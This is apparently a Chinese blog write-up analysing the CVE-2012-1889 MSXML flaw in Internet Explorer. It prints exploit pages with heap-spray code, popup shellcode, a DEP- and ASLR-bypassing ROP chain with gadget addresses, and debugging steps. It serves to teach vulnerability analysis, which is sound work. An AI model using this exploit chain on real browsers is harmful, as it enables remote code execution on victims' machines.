CVE-2012-1889(暴雷)漏洞分析

1. 软件简介

IExplorer为微软公司开发的浏览器。

Microsoft XML Core Services(MSXML)微软XML分析程序是一组用于用Jscript、VBScript、Microsoft开发工具编写构筑基于XML的Windows-native应用的服务,用于处理XML中可扩展样式表语言(XSLT)。XML分析程序基于微软的元件对象模型(COM),它实质上是XML语法分析器和XPath处理器的应用编程接口(API)。语法分析器将XML数据组织成树状结构以便于处理,处理器将XML转换为超文本标记语言(HTML)用于显示。、

2. 漏洞成因

Microsoft XML Core Services 3.0~6.0版本中存在漏洞,该漏洞源于访问未初始化内

存的位置。远程攻击者可借助特制的web站点利用该漏洞执行任意代码或导致拒绝服务。

具体分析过程如下:

在windows xp下,使用IE6.0,打开POC

  1. <html>  
  2. <head>  
  3.     <title>CVE 2012-1889 PoC v1 By:15PB.Com</title>  
  4. </head>  
  5. <body>  
  6.     <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>  
  7.     <script>  
  8.         document.getElementById("15PB").object.definition(0);  
  9.     </script>  
  10. </body>  
  11. </html>  

当defintion为对象属性时不会触发漏洞,当成方法使用填入参数时则触发崩溃

Windbg F6附加查看崩溃原因

在栈中填充数据,在windbg中0x5dd8d772 下断点

sxe dl:msxml3

bp 0x5dd8d772

  1. <html>  
  2. <head>  
  3.     <title>CVE 2012-1889 PoC v2 By:15PB.Com</title>  
  4. </head>  
  5. <body>  
  6.     <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>  
  7.     <script>  
  8.         // 获取名为15PB的对象,并将其保存到名为obj15PB实例中  
  9.         var obj15PB = document.getElementById('15PB').object;  
  10.         // 初始化数据变量srcImgPath的内容(unescape()是解码函数)  
  11.         var srcImgPath = unescape("\u0C0C\u0C0C");  
  12.         // 构建一个长度为0x1000[4096*2]字节的数据  
  13.         while (srcImgPath.length < 0x1000)  
  14.             srcImgPath += srcImgPath;  
  15.         // 构建一个长度为0x1000-10[4088*2]的数据,起始内容为“\\15PB_Com”  
  16.         srcImgPath = "\\\\15PB_Com" + srcImgPath;  
  17.         nLenth     = 0x1000-4-2-1; // 4=堆长度信息 2=堆结尾信息 1=0x00  
  18.         srcImgPath = srcImgPath.substr(0, nLenth);  
  19.         // 创建一个图片元素,并将图片源路径设为srcImgPath  
  20.         var emtPic = document.createElement("img");  
  21.         emtPic.src = srcImgPath;  
  22.         emtPic.nameProp;       // 返回当前图片文件名(载入路径)  
  23.         obj15PB.definition(0); // 定义对象(触发溢出)  
  24.     </script>  
  25. </body>  
  26. </html> 

栈中的数据被覆盖为0x0C0C0C0C,从该地址取数据时异常,未映射内存

eax = [ebp-0x14] = 0xC0C0C0C0

ecx = [eax]

影响调用的三个操作

1 5dd8d751 8b45ec          mov     eax,dword ptr [ebp-14h]

2 ...

3 5dd8d75d 8b08            mov     ecx,dword ptr [eax]

4 ...

5 5dd8d772 ff5118          call    dword ptr [ecx+18h]

 

总结,利用栈溢出漏洞,会将[ebp-14h]溢出数据当作地址取数据,再将这个数据作为地址取0x18的偏移作为地址,call其中保存的地址,为一个三级指针,可以使用堆喷射的技术,将0x0C0C0C0C中的数据变为自己构造的shellcode,从而执行

3. 利用过程

利用思路:使内存地址0C0C0C0C的位置成为我们自己的代码,可以使用堆喷射技术(Heap Spray)

Heap Spray 原理

攻击者在使用 HeapSpray的时候 会在堆栈溢出后将EIP指向堆区 类似于0x0C0C0C0C的位置,并且在这之前会利用javascript申请大量的堆内存,并用包含SlideCode 和 Shellcode 的代码块,不断重复地占用所申请的内存空间,Slide内存一般是由200个左右的slide块组成的,每个slide块都是由大量的滑板指令(NOP或OR AL,0C)加Shellcode组成

这样只要0x0C0C0C0C命中任意一个滑板指令,都会将其引导到我们的ShellCode中

1. win xp + IE 6

    在java script中,字符串是一个对象类型,保存在堆空间中,只要覆盖的堆空间超过200M大于0x0C0C0C0C就一定会使得0x0C0C0C0C的地址开始保存的为我们构造的块数据

    将C shellcode转换为js shellcode

  1. void c_2_javascript(unsigned char* bData, int nSize)  
  2. {  
  3.        //1.创建文件  
  4.       FILE * fpJS = nullptr;  
  5.       errno_t errRet = fopen_s(&fpJS, "JS.txt""w");  
  6.         //2.循环转码并写入目标文件(需考虑位数为奇数的情况)  
  7.     
  8.        for (int i = 0; i < nSize; i += 2)  
  9.        {  
  10.          //注意小尾存储  
  11.           if (i + 2 == nSize)  
  12.               fprintf(fpJS, "\\u%02X%02X", 0, bData[i]);  
  13.           else  
  14.               fprintf(fpJS, "\\u%02X%02X", bData[i + 1], bData[i]);  
  15.        }  
  16.             fclose(fpJS);  
  17. }  
  1. <html>  
  2. <head>  
  3.     <title>CVE 2012-1889 PoC v3 By:15PB.Com</title>  
  4. </head>  
  5. <body>  
  6.     <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>  
  7.     <script>  
  8.         // 1.  准备好Shellcodeunescape()是解码函数)  
  9.         var cShellcode = unescape(  
  10.         "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +  
  11.         "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +  
  12.         "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +  
  13.         "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +  
  14.         "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +  
  15.         "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +  
  16.         "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +  
  17.         "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +  
  18.         "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +  
  19.         "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +  
  20.         "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +  
  21.         "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +  
  22.         "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +  
  23.         "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +  
  24.         "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +  
  25.         "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +  
  26.         "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +  
  27.         "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +  
  28.         "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +  
  29.         "\uC25D\u0010\u0000");  
  30.         // 2.  制作一块滑板数据  
  31.         // 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)  
  32.         var nSlideSize      = 1024*1024 / 2;     // 一个滑板指令区的大小(1MB  
  33.         var nMlcHadSize     = 32        / 2;     // 堆头部大小  
  34.         var nStrLenSize     = 4         / 2;     // 堆长度信息大小  
  35.         var nTerminatorSize = 2         / 2;     // 堆结尾符号大小  
  36.         var nScSize         = cShellcode.length; // Shellcode大小  
  37.         var nFillSize       = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;  
  38.         // 2.2 填充滑板指令,制作好一块填充数据  
  39.         var cFillData  = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C   OR AL,0C  
  40.         var cSlideData = new Array();              // 申请一个数组对象用于保存滑板数据  
  41.         while (cFillData.length <= nSlideSize)  
  42.             cFillData += cFillData;  
  43.         cFillData = cFillData.substring(0, nFillSize);  
  44.         // 3.  填充200MB的内存区域(申请2001MB大小的滑板数据区),试图覆盖0x0C0C0C0C  
  45.         //     区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据  
  46.         //     正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区  
  47.         //     后面的Shellcode处,进而执行Shellcode  
  48.         for (var i = 0; i < 200; i++)  
  49.             cSlideData[i] = cFillData + cShellcode;  
  50.         // 4.  触发CVE 2012-1889漏洞  
  51.         // 4.1 获取名为15PBXML对象,并将其保存到名为obj15PB实例中  
  52.         var obj15PB = document.getElementById('15PB').object;  
  53.         // 4.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据  
  54.         var srcImgPath = unescape("\u0C0C\u0C0C");  
  55.         while (srcImgPath.length < 0x1000)  
  56.             srcImgPath += srcImgPath;  
  57.         srcImgPath = "\\\\15PB_Com" + srcImgPath;  
  58.         srcImgPath = srcImgPath.substr(0, 0x1000-10);  
  59.         // 4.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名  
  60.         var emtPic = document.createElement("img");  
  61.         emtPic.src = srcImgPath;  
  62.         emtPic.nameProp;  
  63.         // 4.4 定义对象obj15PB(触发溢出)  
  64.         obj15PB.definition(0);  
  65.     </script>  
  66. </body>  
  67. </html> 

Call [eax+0x18]的内存

0C等同于nop,直到执行shellcode

2. win xp + IE 8

2.1 测试

上面的弹窗poc在IE8并不能正常触发,附加带有程序路径加参数的进程,调试查看0x0C0C0C0C并没有数据

IE 8 开启了DEP对Heap Spray做了些许限制,采用直接字符串赋值的方式会被禁止,因此需要将堆喷射时的代码修改为

  1.  1 //原代码  
  2.  2 for(var i=0;i<200;i++)  
  3.  3 {  
  4.  4     cSlideData[i] = cFillData + cShellCode;  
  5.  5 }  
  6.  6   
  7.  7 //修改后  
  8.  8 var cBlock = cFillData + cShellCode;  
  9.  9 for(var i=0;i<200;i++)  
  10. 10 {  
  11. 11     cSlideData[i] = cBlock.substr(0,cBlock.length);  
  12. 12 } 

再次测试,0x0C0C0C0C写入了数据但触发了内存访问异常

DEP的原理

DEP 保护是缓冲区溢出攻击出现后,出现的一种防护机制, 它的核心思想就是将内存分块后,设置不同的保护标志,令表示代码的区块拥有执行权限,而保存数据的区块仅有读写权限,进而防止数据区域内的 shellcode 执行。

DEP 的实现分为两种,一种为软件实现,是由各个操作系统 编译过程中引入的,在微软中叫 SafeSEH。另一种为硬件实现,由英特尔这种CPU 硬件生产厂商固化到硬件中的, 也称作 NX保护机制。

绕过DEP的方法有两种:

1. 借用第三方应用程序及组件,利用这些程序可以申请同时支持readable、writeable、executable属性内存页的特点,结合Heap Spray技术实现shellcode的布局与执行(例如JIT Spray技术)

2. 采用代码重用的方法实现对DEP的绕过,包括利用系统API改写内存页属性、调

用执行系统命令或加载可执行文件引入外部代码、改写安全配置(IE浏览器的SafeMode标志位等),其中利用系统统API改写内存页属性是最为常见的利用方法。

用到Ret2Libc技术, 即连续调用程序代码本身的内存地址,以逐步地创建一连串欲执行的指令序列,可以调用 ZwSetInfomationProcess,VirtualProtect,VitualAlloc 一类的函数来实现关闭 DEP 的目的。

本次使用 VirtualProtect 修改内存区域为可写实现关闭 DEP。在 IE 使用的模块中找到这些ret 指令为结尾的指令序列 gadgets。在构造Ret2Libc指令序列时,我们要仔细区分系统栈和堆空间以及自己构造出的栈

2.2 定位偏移

因为必须在0x0C0C0C0C的位置就执行ret2libc,所以需要用到精准堆喷射,也就是让每一个申请的内存的固定偏移处数据都是一样的

模块基址为0x04240000 代码偏移为0x3d772

在windbg中 !heap -p -a 0x0C0C0C0C 查看堆属性 堆起始地址为0x0c070020

计算堆偏移长度

(0x0C0C0C0C – 0x0C070020)% 0x1000 /2 = 0x5FC

需要构造的4kb数据

因为用到精准堆喷,而每块的数据大小是0x1000,但是还需要对字符进行选取,用到块 大小的计算: cBlock = cBlock.substring(0,nBlockSize­ – 0x2)

前辈总结的经验

2.3 精准堆喷射

构造poc调试,找到准确溢出点

  1. <html><head>  
  2.     <title>Step2_Accurate_Heap Spray By:15PB.Com</title>  
  3. </head>  
  4. <body>  
  5.     <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>  
  6.     <script>  
  7.         // 1.  生成Padding  
  8.         var cPadding = unescape("\u0C0C\u0C0C");  
  9.         while (cPadding.length < 0x1000)  
  10.             cPadding += cPadding;  
  11.         cPadding = cPadding.substring(0, 0x5F6);  
  12.         // 2.  制作Ret2Libc  
  13.         var cRet2Libc = unescape(  
  14.              "\u0000\u0000" + "\u1111\u1111" +   
  15.              "\u2222\u2222" + "\u3333\u3333" +   
  16.              "\u4444\u4444" + "\u5555\u5555" +   
  17.              "\u6666\u6666" + "\u7777\u7777" +   
  18.              "\u8888\u8888" + "\u9999\u9999" );   
  19.         // 3.  准备好Payloadunescape()是解码函数)  
  20.         var cPayload = unescape(  
  21.         "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +  
  22.         "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +  
  23.         "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +  
  24.         "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +  
  25.         "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +  
  26.         "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +  
  27.         "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +  
  28.         "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +  
  29.         "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +  
  30.         "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +  
  31.         "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +  
  32.         "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +  
  33.         "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +  
  34.         "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +  
  35.         "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +  
  36.         "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +  
  37.         "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +  
  38.         "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +  
  39.         "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +  
  40.         "\uC25D\u0010\u0000"); 
  41.         // 4.  准备好FillData  
  42.         // 4.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)  
  43.         var nSlideSize = 0x1000;           // 一个滑板指令块的大小(4KB  
  44.         var nPadSize   = cPadding.length;  // Padding大小  
  45.         var nR2LSize   = cRet2Libc.length; // Ret2Libc大小  
  46.         var nPySize    = cPayload.length;  // Shellcode大小  
  47.         var nFillSize  = nSlideSize-nPadSize-nR2LSize-nPySize;  
  48.         // 4.2 制作好一块填充数据  
  49.         var cFillData  = unescape("\u0C0C\u0C0C");  
  50.         while (cFillData.length < nSlideSize)  
  51.             cFillData += cFillData;  
  52.         cFillData = cFillData.substring(0, nFillSize);  
  53.         // 5.  构建滑板指令数据块  
  54.         var nBlockSize = 0x40000;  // 256KB  
  55.         var cBlock     = cPadding + cRet2Libc + cPayload + cFillData;  
  56.         while (cBlock.length < nBlockSize)  
  57.             cBlock += cBlock;  
  58.         cBlock = cBlock.substring(2, nBlockSize-0x21);  
  59.         // 6.  填充200MB的内存区域(申请800256KB大小的滑板数据区),试图覆盖0x0C0C0C0C  
  60.         //     区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据  
  61.         //     正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区  
  62.         //     后面的Shellcode处,进而执行Shellcode  
  63.         var cSlideData = new Array();  
  64.         for (var i = 0; i < 800; i++)  
  65.             cSlideData[i] = cBlock.substr(0, cBlock.length);    
  66.         // 7.  触发CVE 2012-1889漏洞  
  67.         // 7.1 获取名为15PBXML对象,并将其保存到名为obj15PB实例中  
  68.         var obj15PB = document.getElementById('15PB').object;  
  69.         // 7.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据  
  70.         var srcImgPath = unescape("\u0C0C\u0C0C");  
  71.         while (srcImgPath.length < 0x1000)  
  72.             srcImgPath += srcImgPath;  
  73.         srcImgPath = "\\\\15PB_Com" + srcImgPath;  
  74.         srcImgPath = srcImgPath.substr(0, 0x1000-10);  
  75.         // 7.3 创建一个图片元素,并将图片源路径设为srcImgPath,返回当前图片文名  
  76.         var emtPic = document.createElement("img");  
  77.         emtPic.src = srcImgPath;  
  78.         emtPic.nameProp;  
  79.         // 7.4 定义对象obj15PB(触发溢出)  
  80.         obj15PB.definition(0);  </script>  </body></html>

调试准确定位ret2libc

2.4 rop链1,切换执行流

分析代码调用,及寄存器环境

分析步骤:

1. eax的内容来自于栈[ebp­ + 0x14],而[EBP + ­0x14] = 0x0c0c0c0c

2. 根据这些信息,当eax为0x0c0c0c0c时,ecx也将会是0x0c0c0c0c

3. 漏洞触发点的地址将变成:0x0c0c0c0c+0x18=0x0c0c0c24

4. 如果将0x0c0c0c24处安排成xchg eax,esp + ret 指令的地址,将会交换eax和esp 的值

5. 这样一来当执行ret指令的时候,会将0x0c0c0c0c作为指令地址,将其中的内容 当作指令地址去执行

6. 但是0x0c0c0c0c这个地址里的内容与异常点0x0c0c0c24有直接关系。 (0x0c0c0c24是由这个[0x0c0c0c0c]得到的)

解决问题:

1. 为了保证漏洞触发点是0x0c0c0c24,就要保证ecx = 0x0c0c0c0c

2. 为了保证ecx = 0x0c0c0c0c,就要保证[eax] = 0x0c0c0c0c

3. eax 是栈里的数据都是0x0c0c0c0c,[eax­ - 4]里也是被堆里被填充的0x0c0c0c0c

4. 将让EAX的值变成0x0c0c0c08,这样,就能保证 0x0c0c0c24 这个值的正确RET 后,esp就会自动变成0x0c0c0c0c 解决遇到的问题

5. EAX里的值来自于[EBP­+0x14]

6. [EBP­0x14]需要为0x0c0c0c08这个数据是构造栈溢出的值,需要修改栈溢出的值

7. 这样就能保证溢出点为 0x0c0c0c24

只需要将0x0c0c0c0c中数据改为0x0c0c0c0c并将栈空间的填充数据改为0x0c0c0c08

将66666666改为指令 xchg eax,esp#ret的地址,找到未开启随机基址的模块kernel32.dll

地址0x7c830e49 (由于windwos程序运行时要依赖微软运行时 库,所以最好在msvcrt.dll中找)

当执行完xchg eax,esp,esp为0x0c0c0c08,ret后esp指向其中的0x0c0c0c0c,还是卡住了

0417d751 mov  eax,dword ptr [ebp-14h] 1. eax = [ebp-0x14] 0x0c0c0c08

0417d756 mov  esi,eax                2. esi = eax 0x0c0c0c08

0417d75d mov  ecx,dword ptr [eax]     3. ecx = [eax] 0x0c0c0c0c

0417d772 call dword ptr [ecx+18h]     4. call [ecx+x18] [0x0c0c0c24]

0417d778 mov  eax,dword ptr [esi]     5. eax = [esi] 0x0c0c0c0c

                                         push esi

0417d77b call dword ptr [eax+8]       6. call [eax+0x8]

步骤 2,5,6将[esi]也就是[eax]的值给了eax,再call [eax+0x8]

此时eax 0x0c0c0c08里保存的是0x0c0c0c0c,也就是call [0x0c0c0c14]

上方的push esi 会让ESP - 4 ,[ESP] = 0x0c0c0c08

将0x0c0c0c24 改为 RET 指令的地址 [eax + 8]即0x0c0c0c14处改为 xchg eax,esp + RET指令的地址调试观察 (改 0x22222222处内容),

!py mona.py fw -s ret -m kernel32.dll,0x7c80165e

  1. var cRet2Libc = unescape(  
  2.      "\u0c0c\u0c0c" +   
  3.      "\u1111\u1111" +   
  4.            "\u0e49\u7c83" + //xchg eax,esp;ret  
  5.            "\u3333\u3333" +   
  6.            "\u4444\u4444" +   
  7.            "\u5555\u5555" +   
  8.            "\u165e\u7c80" + //ret  
  9.            "\u7777\u7777" +   
  10.            "\u8888\u8888" +   
  11.            "\u9999\u9999" );  

调试,这时0x0c0c0c0c中的值就可以改变了,直接修改为ret指令的地址,作用等同pop eip,esp = esp - 4

但是0x0c0c0c14中的地址不能修改也不能作为指令执行,需要0x0c0c0c10中的地址执行时,把它当作数据弹出来,则需要找到pop xxx,ret的指令 0x77c1cb29

构建好的转换执行流程rop链

var cRet2Libc = unescape(

"\u165e\u7c80" +  // 0x0C0C0C0C | 77BEE017h : # RETN (ROP NOP)

"\ucb29\u77c1" +  // 0x0C0C0C10 | 77BF398Fh : # POP EBP # RETN (Skip 4 Bytes)

  "\u0e49\u7c83" +  // 0x0C0C0C14 | 77C0A891h : # XCHG EAX, ESP # RETN

  "\u165e\u7c80" +  // 0x0C0C0C18 | 77BEE017h : # RETN (ROP NOP)

  "\u165e\u7c80" +  // 0x0C0C0C1C | 77BEE017h : # RETN (ROP NOP)

  "\u165e\u7c80" +  // 0x0C0C0C20 | 77BEE017h : # RETN (ROP NOP)

  "\u165e\u7c80" +  // 0x0C0C0C24 | 77BEE017h : # RETN (ROP NOP)

  "\u7777\u7777" ); // 0x0C0C0C28

调用virtualprotect 在0x0c0c0c28的位置

2.4 rop链2,修改内存属性

当VirtualProtect函数调用时,需要传参,将ESP里安排成必要的参数0x0C0C0C28 VirtualProtect函数有一个传出参数,这个变量的地址要填写,在msvcrt.dll当中找一个具有写入属性的PE节。 由于节在内存中对齐后通常最后边的内容都是无用的,所以可以用最后四个字节

找到virtualProtect的地址,0x7C801ad4

在模块中找到一块可写属性的用于接收传出原属性的地址

lm v m msvcrt查看模块信息

查看.data段属性,找到最后四个字节

0x77be0000+0x54000-4 = 0x77c33ffc

2.5 验证

完整的rop链

   0c0c0c08 0x0c0c0c0c

3. 0c0c0c0c 0x7c80165e ret

4. 0c0c0c10 0x77c1cb29 pop edx#ret 

2. 0c0c0c14 0x7c830e49 xchg eax,esp#ret

5. 0c0c0c18 0x7c80165e ret

6. 0c0c0c1c 0x7c80165e ret

7. 0c0c0c20 0x7c80165e ret

1. 0c0c0c24 0x7c80165e ret

8. 0c0c0c28 0x7C801ad4 Run VirtualProtect

   0c0c0c2c 0x0c0c0c40 RetAddr

   0c0c0c30 0x0c0c0c40 |- lpAddr

   0c0c0c34 0x00001000 |- dwSize

   0c0c0c38 0x00000040 |- NewProc

   0c0c0c3c 0x77c33ffc |- &OldProc

   0c0c0c40 shellcode

单步执行

运行到shellcode

g

3. win 7 + IE 8

Win7中多了一个aslr保护

只有这三个模块未开启

重启验证确实未改变,

使用mona找到对应gadget地址

Ret 0x6d431029

pop ecx#ret 0x6d4331e3

Xchg eax,esp#ret 0x6d737cb3

传出地址,找到数据段最后四字节

ssv.dll 6d730000+22000-4 = 6d751ffc

构造rop链

VirtualProtect 0x77502341

4. POC

  1.         // 3.  准备好Payloadunescape()是解码函数)  
  2.         var cPayload = unescape(  
  3.         "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +  
  4.         "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +  
  5.         "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +  
  6.         "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +  
  7.         "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +  
  8.         "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +  
  9.         "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +  
  10.         "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +  
  11.         "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +  
  12.         "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +  
  13.         "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +  
  14.         "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +  
  15.         "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +  
  16.         "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +  
  17.         "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +  
  18.         "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +  
  19.         "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +  
  20.         "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +  
  21.         "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +  
  22.         "\uC25D\u0010\u0000");  
  23.         // 4.  准备好FillData  
  24.         // 4.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)  
  25.         var nSlideSize = 0x1000;           // 一个滑板指令块的大小(4KB  
  26.         var nPadSize   = cPadding.length;  // Padding大小  
  27.         var nR2LSize   = cRet2Libc.length; // Ret2Libc大小  
  28.         var nPySize    = cPayload.length;  // Shellcode大小  
  29.         var nFillSize  = nSlideSize-nPadSize-nR2LSize-nPySize;  
  30.         // 4.2 制作好一块填充数据  
  31.         var cFillData  = unescape("\u0C0C\u0C0C");  
  32.         while (cFillData.length < nSlideSize)  
  33.             cFillData += cFillData;  
  34.         cFillData = cFillData.substring(0, nFillSize);  
  35.         // 5.  构建滑板指令数据块  
  36.         var nBlockSize = 0x40000;  // 256KB  
  37.         var cBlock     = cPadding + cRet2Libc + cPayload + cFillData;  
  38.         while (cBlock.length < nBlockSize)  
  39.             cBlock += cBlock;  
  40.         cBlock = cBlock.substring(2, nBlockSize-0x21); 
  41.         // 6.  填充200MB的内存区域(申请800256KB大小的滑板数据区),试图覆盖0x0C0C0C0C  
  42.         //     区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据  
  43.         //     正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区  
  44.         //     后面的Shellcode处,进而执行Shellcode  
  45.         var cSlideData = new Array();  
  46.         for (var i = 0; i < 800; i++)  
  47.             cSlideData[i] = cBlock.substr(0, cBlock.length);  
  48.   
  49.         // 7.  触发CVE 2012-1889漏洞  
  50.         // 7.1 获取名为15PBXML对象,并将其保存到名为obj15PB实例中  
  51.         var obj15PB = document.getElementById('15PB').object;  
  52.         // 7.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据  
  53.         var srcImgPath = unescape("\u0C0C\u0C08");  
  54.         while (srcImgPath.length < 0x1000)  
  55.             srcImgPath += srcImgPath;  
  56.         srcImgPath = "\\\\15PB_Com" + srcImgPath;  
  57.         srcImgPath = srcImgPath.substr(0, 0x1000-10);  
  58.         // 7.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名  
  59.         var emtPic = document.createElement("img");  
  60.         emtPic.src = srcImgPath;  
  61.         emtPic.nameProp;  
  62.         // 7.4 定义对象obj15PB(触发溢出)  
  63.         obj15PB.definition(0);  
  64.     </script>  
  65. </body>  
  66. </html> 

5. 结语

暴雷漏洞涉及js,将对象属性difintion加参数作为方法调用,触发漏洞,并覆盖栈空间,使得将重要call 改为溢出的数据0x0c0c0c0c,使用精准堆喷射的技术,准确的将溢出点改为自己构造的ret2libc,但是根据触发漏洞的上下文分析,又将溢出数据改为0x0c0c0c08,从而做到在构造第一层rop链改变执行流程到修改内存属性的地址0x0c0c0c28。

这次分析加强了对堆喷射,ret2libc技术的使用,构造rop链过程中,要单步梳理并结合触发环境和寄存器环境上下文。找到的指令地址需要验证有效性,整个漏洞触发验证环节需要步步跟进,排除干扰因素,防止前面的步骤错误影响实验流程

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值